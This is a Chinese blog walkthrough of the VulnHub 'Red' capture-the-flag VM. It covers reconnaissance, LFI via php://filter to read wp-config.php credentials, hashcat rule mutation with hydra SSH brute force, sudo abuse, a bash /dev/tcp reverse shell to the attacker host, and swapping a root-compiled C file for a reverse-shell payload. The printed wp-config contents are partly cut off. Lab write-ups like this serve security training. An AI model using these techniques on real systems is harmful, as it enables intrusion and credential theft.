vulnhub-Red


下载地址:
https://download.vulnhub.com/red/Red.ova
1、信息收集
arp-scan -l

端口扫描
nmap -sS -A -T4 192.168.56.101
开启了22端口和80端口,从扫描信息还可以看到robots.txt,wp-admin路径以及cms为WordPress5.8.1

访问该ip

点击hello Blue,发现无法正常跳转

修改hosts解析
vim /etc/hosts

2、渗透流程
再次访问redrocks.win,英文大意:你的网站被黑了,你永远找不到后门…

查看源码发现有一串英文
Still Looking For It? Maybe you should ask Mr. Miessler for help, not that it matters, you won’t be able to read anything with it anyway
还在找吗?也许你应该找米斯勒先生帮忙,但这并不重要,反正你用它什么也看不懂

搜了一下,它名为seclists, 是安全测试人员的伴侣。它是安全评估期间使用的多种类型列表的集合,收集在一个地方。 列表类型包括用户名、密码、URL、敏感数据模式、模糊测试payload、WebShell 等等。 目标是使安全测试人员能够将此存储库拉到一个新的测试框上,并可以访问可能需要的每种类型的列表。
SecLists是OWASP维护的一个安全信息列表集合。该集合包括了用于渗透的各种类型的列表。这些列表包含了237个字典文件以及常用的Web Shell攻击载荷。字典文件类型众多,包括用户名、密码、域名、敏感数据特征码、模糊测试载荷等。

apt update
更新可用软件包及其版本的列表
apt install seclists
apt install gobuster
Gobuster这款工具基于Go编程语言开发,广大研究人员可使用该工具来对目录、文件、DNS和VHost等对象进行暴力破解攻击。
gobuster dir -u http://redrocks.win -w /usr/share/seclists/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt
扫出了 NetworkFileManagerPHP.php,状态码是500

访问查看发现是存在该页面但是无显示,猜测可能存在本地文件包含,应该需要一个参数指定包含的文件名
http://192.168.56.101/NetworkFileManagerPHP.php

使用wfuzz工具爆破,同样用刚刚工具的字典,但扫不了多少次,靶机就崩了,把参数key放前面点才行
wfuzz -c -u ‘http://redrocks.win/NetworkFileManagerPHP.php?FUZZ=test‘ -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt

确定了传参的参数,进行测试:?key=../../../etc/passw
证明该处存在LFI漏洞,因为这个/NetworkFileManagerPHP.php页面是留下的后门,使用常规的页面无法查看,此时使用PHP伪协议进行读取后门文件的内容。
?key=php://filter/read=convert.base64-encode/resource=NetworkFileManagerPHP.php

文件内容经过base64解密后发现还有一段base64加密后的内容,同样进行解密

译文:光是那个密码帮不了你!Hashcat说规则就是规则
并没有什么用,但提到了hashcat,于是寻找账号密码信息,因为是WordPress,所以查找该配置文件信息wp-config.php

还是使用伪协议进行读取
?key=php://filter/read=convert.base64-encode/resource=wp-config.php

这其中提到一个john的用户
密码:R3v_m4lwh3r3_k1nG!!
但ssh却登录不上,密码是错误的,回想起前面提到的hashcat和频繁出现的base64加密,所以也接下来要使用进行碰撞
<?php
/**

  • The base configuration for WordPress
  • The wp-config.php creation script uses this file during the installation.
  • You don’t have to use the web site, you can copy this file to “wp-config.php”
  • and fill in the values.
  • This file contains the following configurations:
    • MySQL settings
    • Secret keys
    • Database table prefix
    • ABSPATH
  • @link https://wordpress.org/support/article/editing-wp-config-php/
  • @package WordPress
    /
    // ** MySQL settings - You can get this info from your web host ** //
    /
    * The name of the database for WordPress */
    define( ‘DB_NAME’, ‘wordpress’ );

/** MySQL database username */
define( ‘DB_USER’, ‘john’ );

/** MySQL database password */
define( ‘DB_PASSWORD’, ‘R3v_m4lwh3r3_k1nG!!’ );

/** MySQL hostname */
define( ‘DB_HOST’, ‘localhost’ );

/** Database Charset to use in creating database tables. */
define( ‘DB_CHARSET’, ‘utf8’ );

/** The Database Collate type. Don’t change this if in doubt. */
define( ‘DB_COLLATE’, ‘’ );

define(‘FS_METHOD’, ‘direct’);

define(‘WP_SITEURL’, ‘http://redrocks.win‘);
define(‘WP_HOME’, ‘http://redrocks.win‘);

/**#@+

  • Authentication unique keys and salts.
  • 注意:以下密钥已被截断,实际使用时需要完整的 64 位随机字符串
  • 可通过 https://api.wordpress.org/secret-key/1.1/salt/ 生成
    */
    define(‘AUTH_KEY’, ‘2uuBvc8SO5{>UwQ<^5V5[UHBw%N}-BwWqw|><*HfBwJ( $&%,(Zbg/jwFkRHf~v|’);
    define(‘SECURE_AUTH_KEY’, ‘ah}<I`52GL6C^@

vim 1.txt,添加内容:R3v_m4lwh3r3_k1nG!!
hashcat –stdout 1.txt -r /usr/share/hashcat/rules/best64.rule > passwd.txt
–stdout 不破解hash,只输出
-r 使用指定的规则

hydra -l john -P passwd.txt 192.168.56.101 ssh

连接成功,这里应该是对密码做了一些策略,因为每隔一段时间的密码就会改一下

查看当前路径下文件,发现以下内容
提示说cat命令有问题,确实,回显的是以vi格式打开的,应该是vi和cat互换了

3、提权
发现ippsec用户在不需要密码的情况下就可以执行/usr/bin/time命令
sudo -l

使用sudo -u提权到ippsec
sudo -u ippsec /usr/bin/time /bin/bash

因为ssh连接过一段时间就会断开并修改密码,所以需要建立一个权限维持
首先向攻击机反弹一个shell
bash -i >& /dev/tcp/192.168.56.103/4444 0>&1

可以看到成功反弹shell
nc -lvvp 4444

这时想到刚刚ssh连接的时候,靶机每隔段时间都会弹出消息,那就说明 靶机中有程序在运行,又或是有进程在执行的,这时可以考虑一个监听工具,用来监听靶机的进程。
kali攻击机打开web服务,靶机从攻击机上进行下载这个工具
python3 -m http.server

进入/tmp目录,输入命令下载
wget http://192.168.56.103:8000/pspy64s

之后给个权限然后运行
chmod +x pspy64s
./pspy64s

找到后门位置

cd /var/www/wordpress/.git
ls -al

来到该目录下,查看一下文件权限,都是root权限的文件
ls -l

查看一下这个.c文件的内容
vi supersecretfileuc.c

这是使用C语言写的代码,在文件所处位置的文件夹内还有一个rev的文件,这是经过supersecretfileuc.c编译完成后生成的程序,执行后会输出信息。就是red时不时弹出信息。将rev删除后会重新编译产生,并且是root权限,但没有权限更改文件内容,所以打算直接将这两个文件删掉,然后从新上传一个名为supersecretfileuc.c文件并在其中写入一个反弹shell的程序代码,这样只要supersecretfileuc.c文件被执行,root权限的shell就会被反弹到攻击机上。
需要写可以反弹shell的脚本,在网上找了一下,https://www.revshells.com/这个网站可以写C的反弹shell的脚本。

rm -f rev
rm - supersecretfileuc.c
在攻击机上写好supersecretfileuc.c文件,使用攻击机的web服务,将supersecretfileuc.c下载到靶机上

上传成功,攻击机监听9001端口,等待连接,就可以得到root权限了

查看root.txt文件即可得到flag
还有一个用户的flag在oxdf用户下


文章作者: Luoruiy
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Luoruiy !
赏
  目录